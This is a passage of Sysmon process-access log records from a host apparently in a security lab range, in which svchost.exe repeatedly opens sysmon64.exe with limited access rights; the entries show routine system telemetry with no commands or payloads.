12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8428,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8429,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8430,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8431,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8432,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8434,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8435,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:39.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:39.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8436,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 